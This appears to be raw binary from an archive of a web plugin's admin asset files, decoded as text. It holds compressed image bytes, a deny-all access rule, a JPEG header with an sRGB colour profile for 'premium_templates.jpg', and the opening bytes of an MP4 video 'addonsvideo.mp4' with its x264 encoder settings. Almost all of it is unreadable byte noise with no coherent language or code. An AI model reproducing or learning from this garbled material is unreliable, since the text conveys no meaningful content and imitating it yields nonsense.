3S3YCo@E(R-Ҙc [!s)"*X,grކFX#1hM?´ HRb8.;I>fkottQO[6sv]u~pHO$u\=a+- Ão /!5}Lpe^  R單[e9S۱a,ynkr&3^ Si@å * Z4dȂL|]g%{%,`}]p+ *h:Qi_=OHgFnOOMծtٵ}ϪA8yfi^4&MY1G\s(1E}zq ަ3&ԓ1jUs^uuMv!էԢb<sP]l,ύiv{T ?c1S\X_[Jn*#W ['eNO ]i5icţj:٥ O$T]3H^zw4R,y(djwY0c86)Y ŏjee >'rH:rħ91*}~#$ӯo[U|BFDonac8O Bȉ )Qysal:Lf0Taq *}~"}B%w_! <5x""uX.䶸N8cs\o %'kw}I jэz|ܽ#G{qn6\A3[ǎF2_jWs)DJrڿȠ|Xx4Gc~Im%+n,{PE)pLN<)\&2~^HqQkG.uVF(ĞI;~|*~o{qEJDz65vhת[_56hmZ܋af_lfyg֛4zɵ;de] R1 Zm/U$s+Nҹ5[ӔY2Vdw=R >ZI*ȿڞ G.L!,פH1#H?ݪjk+u՞-=}>9Vr~8j+tƽՋ=ʟqaH{ ޻ן^[GTv(?Ć6ݳ*tF;1CF2[M6Yd_S)sqVgDNt''KMq(jhCD֦'>4U{5>4 ̧S/>;G˜֫n%'9֩azT խHCq)=jXOOZ}j<֦/>4=_ާ֦/>44WhS@(lfhlfhlfAT@P@P1E6} {QHdc@=0]m۹:*SAu׆"-bԣ\b\|%^3K%*@W7鄴 mT 9@P @( ?: ҨP4@P4 G2jMcC.KGKlne#ZP .M.zEUIJpI".M򊽕qQ<S$[r&=j=q:_7$I? u tyCCf4OuY=qt@et{/Cgr9({&0H{|'4(a67 Ɓ|6L0{?*n΁6>cւ (( ( ( ( ( ( ( (?R( ( ( ( ( pRFh()S@&Ui=hJ3@T@m6h @0hi6NXˁ?_4'x/@x/@xN<@x4AbYLj.K|7.<) |~tX $|ᘾ~s2.nE@@@P@P@P@P@P@P@PR( ( ( ( ( e ȧ&fւ#fi#'P Ph,4KAfkg&HP7z !@xk@xcրEly| @xfAn)c03"JP.N<o9O|O J -P6Bs.OHѓ A E[7=9KTڂɲz AYLY2w( ( ( ( ( ( ( R( ( ( ( ( hGh (#eIW @1An6 9>TA^FD⁆hA@ڀlA[^nM'N8Ҡe/uvIc~ph%}QtΥ vױMf(ZB_h7Fît`/ ;13(ރ7r~X]ƀ zA,龈 n׫YCl0(h& G0MP<4Hx PA&A\h( ( ( ( ( ( R( ( ( ( ( kr!\s@q@( #p@l}$Gc@x@vFNhFN(,41A:T:WhL{-Ē?փ?Iחڭ֜ m ¤q^>tGfҺ[YVuo;Llo* SOkj='k{T_X2*vzbOb]/Ώo];95:I6I#Gndz+ݺgKeZ2AcjBF~62|?+PnuEi=Ov\j]@IgicF^!>O[Ծ5NZZiO)@]4BtVz_ߨy a nnݶĬ#uHju}Nx4tEenW^T|/~ {K7Ccڂ@*d]=?kc5N幾((u5jm_} $Oɠ+٦1qCZ^Ur,6Ut?N LA-+P XKC,ZY~/EN|;y5I@ivHضZ8K}:R@m4rӛ%Ov:Ah s\I1@QnoPWf,r{ CϭҀ(ޕCJ:7^V@@P@P@P@P@P@PR( ( ( ( ( Z +PA7'l$0hnjh+KG|4M@HŽOz x j͆ 5w1LNBc]=+}?[EMaEđL'/짡!=ZXt+rvo4qqOwq^)iJaxѵ HPDg$oh:B:B龕I;;ޤu #Ƅ{?Kk:oR帷Դ-Fk| 8W?nj:^HuM-3vX܌mOfQgWOWKg:Mxc- k)A>#IkLgӮ"Xq(9~ֽiG_~N" g -jVɆe©˴7n]6.-/!{i%FYi $n4G՝10-[:BXOO@Đ?7zk];״MkGdi֗ ( wιւA\Ί0A ;9rh%(46( <,F[Ef&( ( ( ( ( ( ( R( ( ( ( ( Z .64>*!t<8Ota?P!>B ; ,-c@P:;Z-hݭ44sXMk [3ﵭfTWh1&5B{UPLSկflWk?r21a/ʁGVO>y. M+Pu_WJ, #3?‹{M-$@6vF;;4uWٮ-Yb7f߳c~TzV_ĸ)YG= um.d֗PYI;|rh&׺:R}@J߳7}h2?qd[ IKY?k PR5;${fiWdlPZ^Ӣo˭> -d _ AcwecUB,3 jr>{5w]@P@P@P@P@P@P@PR( ( ( ( ( (X[R4blo4݇A t=\ ((S@xK@P!Ol PhZZ98hamF 066ZfY!I;Uܩ涎7T >pWҳynM~(QI^VI| ѝ<Bʹ sd wزcj ":-HPGu,g"Eʃ1؇eϞh/jVVE;LKDFHc(!+.c6vw}("Rlᰮ{ (-i9tAa4Ɓ< /@m|keV㰢+yP%@P@P@P@P@P@P@PR( ( ( ( ( ( ( ( ( ( ( 0\nx Order allow,deny Deny from all admin/views/features/assets/premium_templates.jpg000060400000101010151724235750016347 0ustar00 XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)Km!Adobed         |  !1270"3A456@#B&' !1"AQ2aqB6Rb#r35$4tu CSsƒTd%e& ! 1"20B@ARbra3PQq#CsSc$4 U< 4itU#`Űh6 #u i4N[X+[cnDQR]uXq'Xqx&mr1ٱl4iSȋYC!FΩGf{[4J#5n>F>W_ ;;Zp9T\nih6 {r,8[ӹM0:7/ӫT0 SlNaYuKukʼnT.V;fF U>3Mu97Hp7ѽ|CǖVJ̮Xr460,e˺D >RR1p㓋[G6BZdMN˦\1uO R1Wlkyș:$*>Z/TrT3Qa@X&Y0$|9:Geur#S  b,l)V.t% ](z(vnmuL~{BkjnI輻]mEQ9!(V1Geur#J{ AAVaL;6Tn(i@m&v8>SNkOG{ͪ yl%n_%K)w{r``l4mOA}ؕcSG!` Zq\2DHZ$zwKܞ3r6F/Px,&I:r*pqʳYaY aKAp$h0000000006_a`c1 ckVQ1QRR@j]N-rFс```_CmAJ`0,f#q. [{ړV>~cEM?# :esj}PM%SҍP+u(r-N]Ur 06 j  :8N5141"3dD-%iX8Z g9U[3X-3/0ɰ  0`3& i2Z<{(&-E wMr#VdABXqu$iN y.ʕc8 BK817#RIm!0\4I 12K uC Mp1h7](mi+.e] RaXA"Y[,]*rlI]5/m\wd6 "y& ?ErP"1~maj5 +N,Q,%f3`1I4T"ںQQ *#X6F s[cڏTUAl`6)86UwB[ꢂߔbǶV0I]q Zڮ[b=e,3'ΜVB9:~pUs:^W*UrqTSʦ8E!e)^Dqg{euܛktarb9[(DOcZZj纸݉+RtE*KkrJĺTD-2뫪5〩+gd>bCc$6W؞'l[i'\YU˩tr(@`KA$Xr($ƓCʢ^^=d$`l B~l`m3پ@=jHcKa9C`3-G&144#  ,-Aд- Yn@ Abx ```9j*q`a&Rj<𲿷3N0'ѵ]M*jT(m;WY-4 5qP| #\1bejOJNћerdU]PŦr ?TEɲƊPHS=o&T A,Tr2I#)3pj$IEv((nB.= l:USuZ[poԍ*=ju.Debll-l |d |/@Y.].˗e!%i+IZJVq+[*,܍xxxxo/۷<-0E}MG0F@׶z^=>4xh(Og]넎ד1+ Hsr|vw126?q')q:Pulfi=nS:;{w%l#6pWx.]uZ<~j*&ݱ0umel Nù$4: '\:R1oCQũ1aھ8/9}4bxPuhhNlZ$GĝvF59 nu>^kJд-(B27,8|1zWUUzUjQQ op.-3yl4 OP*P|UU@Z.UUWetquF#h2 ᲺHѧUUZBZJ***-*UUzv_MZ9v^E^DbpZOU-kX(SuPUUTzF?UtWp"2-n͑ѬQ9h{jVZ +B,A(-wJ YUUU_pHҋ%SkW{׹{׹{׺{׹{\Ư@>h[D] hUUWжFJר@ySTGUC VTޤR(!zt*t`bcr`ZVxEZ:HtW" DzףFڦ4or@^}J>Wzץ< =e j}5k%cAk>}zTTހyS|ޡv?oUZ}| z(zt6R=ʽʥJ* *r9vei*e и*PiHGJt#D($&>ݥòe*QXȥS#/$ !3!lWr⧀&' &y%TJ7KiDXs]-㈖W-"HFkC Q S r;Sk[\zӥ:ZB= XWu=c`R0%Ho)j=E8\򹓊>puO-^ZՑc(*t\^^8E0lTyLL˗K4\] zDM!V2wK('<,Ec+8Xw)*g2meDH'>EF[(%,lVb0$6ʅN|7W'8}I J0wqwqz=hZt .+Wt]һ UUUE<=ޟԐJKR-ak XZ UB-Aj PZ6B@OQ2K++KH#ꂧCU|VYl.wҺ5dO.CzavavPF]v yNxޕ|Xx&\ݙA kY\ S.$eC,B^㏯QGǃ^PY;GmCAaCVz UUUC7 ap vj@u*2.swYjζfeӘ>&34"|}|2*uZ* }zZXED|mXZdrHT*PBU T)yP pr@ENB :LcDuĭ OU Z VBU+JPUUUUUU|J҃V҉TE":;ԢUUUUV-Aj@;OYk<@D}"F0#h LDGGzWiZQUUA :רCJVrs=#Z*HǑ wj{PD'zUi u+#*Z"Uh{,[l-&ߴizTM/50(:zDA&B$ \Nyz-Hd[ФsT&Y$mߕsnzj&M-[UU^&TrjU68K/q]Emvǜ2,+o-ݔ%mf؇f^|#~-'m8V=յv:m3w<ξdl\콽&de~؆2,I!ű_N,i%_Pl㭯c-_]6j+q3ajn޷9^ӸlϘ[ |lO*+xoFٱyk2-vz in +aW{WyX㒥[f}7n;\g7n. io3Y|c0/x]ۑȹhۛ\oݣ5q15].\HGaqh-o,wN|Ö.f|coa_EE퍘fߍyk ڻ'oiSWlg>۴sxV%kIj>#".[{5nad 3yKH`}o[Dڷ=n &)HVr.by.{Y34@ī.g[[당 s{S.{yŖKdGkpB Z7ne|8:1X Kř%nwO|)ˡ}xOGߵr_jyQ*d8h8(8TGQ;Yw#gW_h9]}u8,ƫ.6߭kx|؛ͮ B8;EW. QYJl'9~OrEcrvQ 綶v}oݾ?_v}oݾ>_v}c,`]z5ލw]z5ލw]Ԓ28{_'=~Or?򃃗|㊷.q|$q!$k Xm 黶K@ ILhW+NF{B^{EŌѱ$"\n{oVɊSOċM,}-b褱x>JG-դߴY|~̏49 !Wo^沛s62/>㲧^]Ziir6}vcƻ1A-Dvٍvc]7fIE=록2o*LmOF+#i[%=ٽq<7g}4 -ml:#[:vZD]8X.3om{skbo;ro^scsAK^m_[Zs2am?_YE,`7qjö7b|ۆIdYo7t-<5ww- gƸbX;̏57e?+$6|fٗP˛~zMg]靭pfdG#2W)ǾK}mOLen'{c̓rHZclįHˎD!e`c_|eo~xkY[9x [?s-}_2?SJ|/o0r=]LJO_~)"u?,q̈́ZfdqbiFn_"-Ht`7dv'u᭗o쭱LK?OG9{a rr;z|Ĝۜt,vqrOܷy(Wln ONZ'.| r[Iļ;pp.xk -@BlX]{hrNM^doe?tb8Yjˉ1x|?ތsc%5A{f_Gsdy.0/m'l_"p4]^Y5g38dT;U k6m:Ǖcnݘͷm1I.p{ɭ4.['vf,&v,fmb+ĐZZbceƹ}x+ۻ?L.\bZi23K ?uvzc]Za^7okowEr'Z8 \adnqk\19nEsǹ6OjmWn]R|=ئ3^Lfc?p~2}6>pı0шْcD>Mao_YCnN~Gk=~`f3?ڱnL߰7-$fێ{|;-Pqkś3܍nSyc6*73l-фK<] m:Idz^f'nKcm`d78Z :8@,ktޯIʜ3r]X]d!?;ꮆ,VsI9:Y;L}g7l]qV7[e aKӽrdwNcdodZ?9gEuO-Ŧn݌VyEͶ-v㛵rlfhacn$غ,6mmf2,z-Ն5Oeϕ>٘E-;Wdc`dk|#kAĈ̠ۗ5[-0ٯw~<}߯ɬU(r:L;9ՎcͶ<ax+~ uo7"8b̨r7Lm|~Ǜ &ewqۻ3Y`a {X|eV/.o]rW'X'-a ſ'eݕ#8E>B 6;G ;t5ˎfl7.xWG r1.DG 5sIco ߒKwf;jr4io(30_|wrc䏲=ǖ7[C82\[(6׈9~"k堇 sG^\W\Ua5dqYh9a}8 osת ")66\W,?ܰ ^Tۣc=\ח8ܗ#Vs=相6_1܇{m /)CX4q_z8g5qp_{8o⠇8qY8\+9sw`2ߑ(#8Q~F5k3g /Ⱦ_(+Iw~hoȾs+Xw37E\>Fp_(#8Q(N0YeW)63:LǏCcw6;q0nnm͹HߓMi%D5>>*)m;+p?:ϩ9i Q-'iq3wė- ~+n9b÷1Niw>W1#r-t5q#":~)mhșBڰIc||<S|ܬ~3ۛoE_g{DwQr6j~P7KEbrx7M8K7$r' ܿ|wiug;(\rt"#+㟏b:FCw&QŊtmrfq[zDFl^ڴ-ILA|usRs2y +;{~f<ǙS{wDi|*"u~˽}7nKMU%i&M8ȱk|$*wXZxgMҀ}/kJپgDvN5 4wZ?ZŧIxMeM3IJwY;,xNo:Mfh͉D0F-iJ (:`nPK n1kSJ׸e&'4ltO[P~_^o%=me<*D=voO+ζ?WUwezQQyviTc^1FtZϱ ȕPSRPAj DTCuTl :%ud4叼5MФRJno: 9er2QbݻV4[efzZ\ ;Vvgj՝;VvYڢW75gb'4}v%rXA`򙯴Ef )MuLz'2TGT۵-gI!ѹU.]daM1P2C ]'fYlc q(FeD1}^WjnfbQnGg~BĴL \L#Ij7Q~~IW'r)/W+Q\;WNi0\W+rz6 E6f-Ĩ[ q)BFܗԸ|X54F٤AEHyӰE1CY556}6áU;* S$7[p?E9GI1.]Q-SAħQ)͔]ox7[̛S)YHMfPTUz^WdZgb50 U\z!dič/S[̪F2R1F6< di${G/s=f7epJ$K, A cR8U 6T);6'Dl,i8ZM4o/VGWVƟ?9»vڮj8LCyT;TRM-ˈhR`HhM4 êـ%v-1{J SzƁT.PNiqU܅R=UOG qOuT(E*7E[^#A6y~l M5+ U8ZXb7[]Na̭[#guuq0ݵ3!avoJrֆ+n,R=O֧WE M][EOڠ)#ZƖM~Jfq}ifCP0(Qko@$U7?[4MYYr lkvtMDA^4.ωDDخsN|vʒ#^^]rrSrZ>ZvZxT80kZqحR {*Ցk/{V}:S(5aP㧥d*IYZDyVNSk}+':βJ.1 SH nc쨘=--QiYW8Tݎ,N1 J+F -.j-u*cHaϥNÜtFMsX}@\W+en78BuqCYT삎.KR#09P9A!8Xu0R*ॢ"B:&#YʋB~YiQԹ*&t@#fEGv*-5_ zh\E%SPW+کY[rn_-|/ܲdZK RzMPibOu؎hw#/ #zu"X٥-N(SEWIԿk7o6/Ou,OL5P1PQin'wb_Q@xGGkD]ATtn8EKRuA]٥ġ (<Zw]VU@9l?nD83BmԩUz@B?:y/N,"fWUR5wbBظʝgb lo;daZO`Ǵ {IǴ X;ckEhn=UX}Vb[#&N`%*%T4l|\GhH  ?7.'e$:#n6݁WuG;$ rtoq~$d(8 CbG5ŃQl0dzqVm;_~쨵n?w[E,~c~׼ Eߡ*@W99s+Ö^`EXfXiZc U81[Ci~/n=_{HU8~wqohwy<Tׂ/[o͆L C`rk九isAAVbN`5(&-sy?G2VBPvc c{g|Xٓ ;9|f@Yiӻg;Fν[MQ5HQg( })bɍfm)H ?ߐhX9u;Xv<1UlXyj4XavXWgQlJBM i۾TͱnRMIrjGN/,/x~7;"o"5\ 6f5y;0U&a?7FV!U@^P4R7 ~ cfOPK1ʈ3|UQ༖2d1ϳK92gWZt06&0Kz€X1*/=gVIBjPv7P ;eMzydzNckZR PFٗ6A݄:˄YZF8MqI5 ~TGɤ]E"Q !s Fr B7ه纙ܪA$0R*;D`Ē0vO{Կz..ŵJ^hB)[pJry8+3:s|-6^,K+n/4ՍK,14G&\ݮ`_\3|m#*k'/3l55ʳD7jU_eҙPBZF\ţVxF<\on"jvRy ^f3Y%@*Z$G.t͈ \zvSǁwԹ}r&շ9t.\[Udm É m|ejI4/A;;'Fl9G?&,7"LJYiP#[!fCOZeW(ĀB73+p|L]9EP–/1ZB97 ѵ̡gIVXFܵul{y#-thUcR`YUXA 1=7PHt)pJeiQ$V2#g 8qq $r2;vA˘sJׁ1 eROH츑3dbN@c&>@3^&xl$?ҽ8Q/? DFB2/baQ"2P%\DfG9bqFX:Ieks$\\Mw\,{"Ek5;_+ HKǽ6?v Mi>rsa{%v ΃ߤv3x/oXhOoL,LWܮ4[٭<֑hԎu~tK*DU*N::Xb4\b/+,Q35啿uslmm#_^{h5Ă7H[ [ƣ9r уL"*Ss 1Be:$?:Z4۫N %sWX b0@&Wy(18!"bWxcƆ\N#孫9M2ʍXyo2DH!S3T@@7PS[S^eȈY[U63,ӎUf+͗&!U$wBܳ:kdU(S<CQeYY>{y̏2wҐ(] ^|s3 @f-a5[/ "|7M8"6aߖ̭O*a*l+aLÛ6`6Պ*lI($ q)cQyMFr[ON3T  ռmwo"oqQdt#hua\H;,7V%هiLejUcHE徤t6h X+/Hb L=ܸiy <~o$һy[RĄ*v⇽7b#jQI>&@ۿ[ϯA*&)C ??' F֯mT,qfLTjCE?UѸ>=YnT&WV-Ug6;ʞoO%#*WQimC-DP)rO#fR`q΂cӖ^qR;@1>ʶ;!>.xj%c_52yIgiHr$37Ub p1\\JAYHfb6 z) EbXRقh:<^i g\шvYpZKyRuujqvfHXa׆*65"iGMzncbXvxT9E+B|b6Qhe9~)R@r=k5<1\@HemK D+bqK ORQ=~'jUb {ADzjWl{)]즧vy_]Үtź6b֓d1SvKKY.buvV"ۦ~'u>iz׺bʱ`Ys\ιrW'ɻu3amOQ Ƥ-(=J4 ktع1gTlӮ?q?̡FU؊㽰ޡyeuve$nBTtc-W8KUPz{=WĢ1O@ft_?^({>6KU_?{jW|e^jnMSmwcr(^VJ/-+~g:d4$TlzF=~CUcW퍽~~~N)3kP_,?Ïg/p3.!W+<)ܕR< =8>Q3f?z1} ޣg~C?c3G>Q3f!tŝ&)@"%NP|8|8|8|8|8|8|8|8|8apT@hH#gQO/}=?/}=AKCi/}=T8}R4z)X_>B žkT,-"̊Y4"fʭ76P͂I;χ`Ooo3(dVe "bKkBBHeT v׊2QhETz5wҬ% BMGY`kv$ FOy `' | vm D6"nqQ;}%؊6fXh\ՍH4X +5/[oUQVc@7c)66gƃeNtRc]eF) mPpollڔSá(U2:Bl=;|N6y-e!=QAs< ԗk,De m$LmQ_M!l.˕>"qn&Dn 7R*y]eAH؍sĐ.F̎5}} y xnd,&if|!rlܵ43&5Ƴ,izhU݈!{$<ϛl ?4rmثB9Xʩ*鷉[ >.k $#6VHa7. I\Oj$.J3-ՂPuM__߫x@hݍJ$6(S n¢Y!6vn׵Û?[YPe#F^?;+Ɖp"Tҟ+]bUJ! I8h[xr_.IUh(wi1ʬKYe$Q׊%! I]0i[:pSn { DG az>VXJ*FqIpų ؆'*Bf$ǜ*ʸmH~h55<ʋ̂ٙuzWrBʱ^B^i<9sgo>2 XYHݘShq]pV>- Ts MZ 6ua[\6.B &ye@7K73H4"T(Oш^ްiM]y`˗5/m=A%̅x`GLG#h7k4NUT 2.f11@$aF A<62RHD`9ߺln sL|Ԩy_AtkyViU$&Qij&X`d/Ë^J%s%Hgǫ3\qGY^.X(]jI 1Z&//[oV(A+OsbkR|ᢽzҞ"1ەk7U qW>H$Uf2fuwe1+^G%¾H0jp[*Jfz0R|N1l. wL8pORoXP q{ R454 גrB2cJ6ƃK*LlgYNY35pKHW_Y ~KQc5&`2e .o/Y *ԬW)ѣR#i(fwxԫeXۍF;;'UKNi xH*B_'k{". Fp8b!LlNJVIZ+G5Ƞz~ςğp54ݍطtK1 dt|^,Ku?u0!BEM$goQeܫbI,,-v)LY"Z"I>DmFu2M3n fH(5liݒ}J-Vib! W6ZHPN[2ɓ&nfLzNn,Woqj7 i]=&s \4\ ^&p@ry8?f4i;pU)",n7Ǐ?8dFacqBsn1(ouaIZq1#|j?*"cqN8m]+)nW1³:2#c3 ^1;qG^b JH?gjQsRἾ GRv(7c~'bVHf%rfpseSo6e@8wym6_0cVJTo H#nތwWEيZuϫ$iPy^L W,w{HE0'XT,`ٕlw#J)7V)j_T9UC6Q!wQūƂ QB'/wH=mwͺ\ܹGwtK]"@ֺ4g+33#E$DH5 [ 4$Rp4HBf%wWD٥Gcijq6kn3IUY#ڢuS{!ZOd5_I1솫Y>{XgX%{"{n=վCU{!VO[ګlw`zs%[UC'e EΛ~V4I Y[Y6u!$2#vwo"3#7qDGݍrH U4q+QI@ ~tU0L}[ZX>6wS\߭qmJdtN>scCuW&2Zʹ$NeĎ) BWՑk) n^(mq>?cm*>E~kom߅V E37h18]C$"2 j]F΢7CUhqItmNy C$jٛ*6bџS1n!w]jkq̂ݟQqᑢX|\s[HIwڻX |Dvu iWl%NgY%.+ *,wPy-J"fzmPy9{= w=Cv%rE6(̠ջX ʠ(ff4=ǵ6EsM\,{UoW>ϢǵVEqM\,{UoW[Ǣǵ6EsM\,]?v5X1dP]ëG̩L"Q6Sqmxht՞925Z+gy-Ԙ۟1Ve Da[pkTwoc;nمW]1q6NfLZҠێ.[1[a3~f n7OmhI{]k{땂S2 \xm%͹IRcFZګX==+EjWw[ǣCcKyX)eQSA݆j$N1[FF RVS,6EQP<}jZf{T5 /h ~?L>G1G~6 b=xoTT{VfE2 |i^ĨE3/is!+|__߫[ >bƵ6.llGv걱e0[nfTchуb.S q4Ǭ4,-rpkL$2;7EMwu1[u){n,6v8%rkE#fZu9v۷uii]7B-kOt┠ƳHPHחa?OWdUu)`2ɝ(:\Oc$M$!Brظz:0^+p PM~Nт)VqMq wA\%Q#5ĝ48JI[{g̸La hkur|ic7c-y*̯#Ȉ,ٛ\^r!LSG5YFmN;/FKH)R):$Q򲃰 bَ/Je gMXԎ_W` b ;ֽ}P,JʑL:` ʼhׇ\'yky#H;W\G7Qod5e+ͩ4{xW3|x 4x!5pBqa*wPE)m SVgy./2&ߛ&<ͥHe&Dӥm6ckF*53 T=Խ]1Ipܭ%O\g{S/.<\\ݥi,KimKH<w;4 1K9и4j4ȡ~%k-[1A@ݹ%;{Q8r]7gcgv?U%bE Mqq>o6OjmvF*KxYԉPƉL $@L_m'gчQ@f0'$"[@6*_?1f~Ŷ(loq.HBՇ(6pa5[:I[4j`ݼg{OP6bJH7&XQNǛkLHHME']s52J.cd|$L6( soE>(ĖAb!W>byxM(E6y|i̋~ZAdØ lŔ5Jɔ /S\6eZ̀y^7p%2K9ǕDm4=MⲗCm68r Ar׎ LZ+L6[@譶(UjI*pQX421 \{L. ;AF# BKh"Gac Ik"x`I=ZZ,M͒4Hٲ*g 1OZF.4MF#̊p[53HFvuDVf>~# M! -pZ8f,o7-/%hP֭$9.%Ud =`቎eV@` ? Ww;4 -R}p`欨y+-)-cV{L~39: 21L4̊޼Dُ㲣-gUjT($MׂNĉGy"x')%|<8[`O,qI(|\ÍJffGo҆VhCZbF G,O4َe͋>h4t0CC!,_%q%5a^ϊLluA-l&@rvj1]cm]Mf%T @ƌ x.lczǯZMxihTH(sbEݑH4j˛roξբ6Gǖ`ҹ_ٳcբ( K3b3PUXkLћٕՌѩLcGji-u%FxqU  3|\[O GIL,W L84̭+S_߫qA1m8zS 26{ƍ" atι%x/C  Uw;;<`3 iC!^rWn缇`o4gHV c!mj* 6;|'! 2LY֎:__LPQh vm^?7Ē4{mBԳ, 1`70 %yĨ*2xKđZhKx8d(V1l겛`f7d|Z7iNEEYQ \h5sGP9yeGT8gBЦö.ͥq>M2AMX~9X)WH+SPp ZԒYcjJؚg4h`yYFQi\ޝa+H9tXm'"ib{i#3Xyd_Gh>Sb:F3Au5%k9 ϵ#7gOfWA_mD~psO$eqK\Gm&+ pqWX/qk~ՎK>`'cOcJ+{&=vKIn ,=}ыbG[94.'kZ8RY9Y0-Gf؆&I=U_ba5D "S~a$"\D"Tm0w7PAi2MD?ro$ֲH#jFI6fr(U\B^&fXSHҖ-!bʧM+Ƌ]ꖱZhLsQ0Tc,); |ގ2ݽBH ; j%b1#Ƕ#R8# d+% zԒ=+e m)j0h:ǥ[orx,GF36v=տi`&qqm̰P"Qs>V\XCsN+U2QvOg47wf[{!i#tdZe_դ}nI TIBPS}0"9@q\[X󵴌TP -]uMրPtuc:}/tp(Tm'd#vd5^n:6̂Ky@:GR.W"+o >Eہiŧ+%Goݿ6Y8I䊍 vWq~vWZwF©Q5s1jW08Qܻ=bx;Y]XGɋ [3$R%V?\} vfȥ!)5,Yv8{^Yׯ)9q~sqGRIsus4_WX@kXY4 1$4EĞ[!a*iZ\Lɺ ONY@L=1wVBB糊EZْ]rsjI6 Ic%] MPGGcǠ,ߙǼVu1GM=Y&?xZ2-,:̀Ȩl[ůjqtó2XoN=Ra~f=el/c?_~f6ŗ1 7c(?o|Uv;Nrz}-W+bxQS\\ixu+BܬQ BQkC׏jGjګox==;Gjګoxx=굩 m4L{1μrҵU0IM|M7nw|ǣVUFG9#qޛl'NUz<=궨w+;Ǐjګox=-_P.ЪL5ʮX/\ټ Һ "/X< y .ӻ:D*ֲ/㑐UA_3 ]KEDN J`_į㡨6VJ#(R +$[!4UNf-tan,*ȡgbWkTv”ff26}ha$?hGC*:hW|B)Vb[P@ )V|VU3NI[ӯWaN=eF^ySۿ>Q GP 0Ƈ'ݹRg }x I` ((Ǥʤ =4jl42T m݋rMvJrQLN̅Y*?^,IA[Ԅ32UW._;xlh`2iH}M;6BF*acnm,Hi{Ywċ!\ NiXEFp$%IQ)UybGUhB6צ78bE1!騡{xzEv> wCBkmȬ2-Yʍ \E7!ZV ~,-2֧ٙǏzNsa\1j1Fr"G6,f|]KKPwJMNo7 ,wG r3LBxFfTṙcHɺH'0_/3]Rгgw]xtׇisdh#@yڧq"Wtm3u͂iwPk(T|#|Ү;`␴oc&hʲvd"0`8An#x죨 db]:ZH @n7^E[عQTcX&˸ WǿNCg0l9ZW.xB LJ[xl10pZj+ZZ'X+]yzTuR 99)6*$*F.АJj:Hl߷LmwzIƏ]* a4S4 B8fvKkEGkJkv01;3q2S7 kGo CsELL$s6u8qiV5iIqpj.L ^lpƩlFhu1xKo"D/+?=:"%q\IgoSkuDQpG%rHXEwchV/7CJ lor=Wsv"h/sc2 a wlI9C^..ZlXB߶+ȩ%cmC {yֳu[Ŕ+1EY0s_^ۙZ36U7!ʜlUzl;I ѱ)ցq0<2I*+zum&6IL #S h Wce•fBсZ)"!d ƃa?>F6 ۿ A^_%1?8Mnŷsy\]8rӇwcǏsc Jo;-{9|>,h~K2cfHiJ?n1<0\jqms,\ "ZYAW;80}׷NMxJpD˷ՈUpsu\g@= _8pZ*OM3Z 0ji5_?k֍ P\FA5-M Pk'5N͵Vzc P7@)]w{zӧ?MEadmin/views/features/assets/addonsvideo.mp4000060400001063757151724235750015064 0ustar00 ftypisomisomiso2avc1mp41freeT@mdatEH, #x264 - core 164 r3075 66a5bc1 - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=7 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00 e32+DíM[N#QS!CtR5[~}]*TwLIq!M;V)G?2tb+țk!5e#'} ,|iK1ګ|>hĤtA>P쁹N]`@)a0;H>Q僸ZgVqdNP*TuԡAKz jx/5Zp嗳5VV!bgI. S!H=@֜~z:q3 }o4=,uA˖5~IȢZ~ߖ{ O#MRV?UQ^}fEnynޓpoEGFATJ5 E`܈;L…fz! H9?L>( &t/K,U_2 |:K}7)냃H- V<' !o Rz=\t99A\GP42C)VgT+[ '<(F/2mpD #?)ӒcvV7CZlOL1+*U(߳$e-&Fb?z2o)??Tm1DkĠZm]]Щ[Ii<͛IDuvXr* f2s4DfJҠgE9`U.{`>a-%!$sV {a4u-b>#VYsvRJc@(`6o1 CZ?r-,S2S=_? 